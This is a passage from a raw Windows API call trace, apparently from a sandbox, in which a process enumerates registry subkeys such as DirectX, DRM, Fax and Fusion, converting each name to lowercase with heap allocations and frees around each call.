Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.653] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.653] RegEnumKeyW (in: hKey=0x34, dwIndex=0x13, lpName=0x1d3b930, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0040.653] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.653] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x1d3c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0040.653] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.653] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.653] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.653] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.653] RegEnumKeyW (in: hKey=0x34, dwIndex=0x14, lpName=0x1d3b930, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0040.653] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.653] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x1d3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0040.653] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.653] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.653] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.653] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.653] RegEnumKeyW (in: hKey=0x34, dwIndex=0x15, lpName=0x1d3b930, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0040.653] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.653] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x1d3c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0040.653] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.654] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.654] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.654] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.654] RegEnumKeyW (in: hKey=0x34, dwIndex=0x16, lpName=0x1d3b930, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0040.654] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0040.654] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x1d3c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0040.654] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.654] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.654] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.654] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.654] RegEnumKeyW (in: hKey=0x34, dwIndex=0x17, lpName=0x1d3b930, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0040.654] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.654] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x1d3c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0040.654] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.654] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.654] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.654] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.654] RegEnumKeyW (in: hKey=0x34, dwIndex=0x18, lpName=0x1d3b930, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0040.654] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0040.654] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x1d3c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0040.654] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.654] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.654] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.654] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.654] RegEnumKeyW (in: hKey=0x34, dwIndex=0x19, lpName=0x1d3b930, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0040.655] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0040.655] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x1d3c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0040.655] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.655] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.655] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.655] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.655] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1a, lpName=0x1d3b930, cchName=0x104 | out: lpName="DRM") returned 0x0 [0040.655] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0040.655] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x1d3c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0040.655] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.655] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.655] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.655] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.655] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1b, lpName=0x1d3b930, cchName=0x104 | out: lpName="DVR") returned 0x0 [0040.655] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0040.655] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x1d3c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0040.655] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.655] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.655] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.655] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.655] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1c, lpName=0x1d3b930, cchName=0x104 | out: lpName="DXP") returned 0x0 [0040.655] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0040.655] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x1d3c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0040.655] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.656] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.656] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.656] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.656] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1d, lpName=0x1d3b930, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0040.656] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0040.656] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x1d3c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0040.656] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.656] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.656] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.656] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.656] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1e, lpName=0x1d3b930, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0040.656] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.656] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x1d3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0040.656] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.656] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.656] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.656] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.656] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1f, lpName=0x1d3b930, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0040.656] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0040.656] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x1d3c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0040.656] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.656] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.656] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.656] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.656] RegEnumKeyW (in: hKey=0x34, dwIndex=0x20, lpName=0x1d3b930, cchName=0x104 | out: lpName="Fax") returned 0x0 [0040.656] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0040.657] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x1d3c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0040.657] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.657] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.657] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.657] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.657] RegEnumKeyW (in: hKey=0x34, dwIndex=0x21, lpName=0x1d3b930, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0040.657] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0040.657] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x1d3c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0040.657] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.657] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.657] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.657] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.657] RegEnumKeyW (in: hKey=0x34, dwIndex=0x22, lpName=0x1d3b930, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0040.657] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.657] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x1d3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0040.657] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.657] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.657] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.657] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.657] RegEnumKeyW (in: hKey=0x34, dwIndex=0x23, lpName=0x1d3b930, cchName=0x104 | out: lpName="FTH") returned 0x0 [0040.657] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0040.657] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x1d3c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0040.657] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.657] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.658] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.658] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.658] RegEnumKeyW (in: hKey=0x34, dwIndex=0x24, lpName=0x1d3b930, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0040.658] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0040.658] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x1d3c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0040.658] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.658] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.658] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.658] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.658] RegEnumKeyW (in: hKey=0x34, dwIndex=0x25, lpName=0x1d3b930, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0040.658] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0040.658] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x1d3c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0040.669] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.669] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.669] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.669] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.669] RegEnumKeyW (in: hKey=0x34, dwIndex=0x26, lpName=0x1d3b930, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0040.669] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.669] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x1d3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0040.669] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.670] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.670] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.670] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.670] RegEnumKeyW (in: hKey=0x34, dwIndex=0x27, lpName=0x1d3b930, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0040.670] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 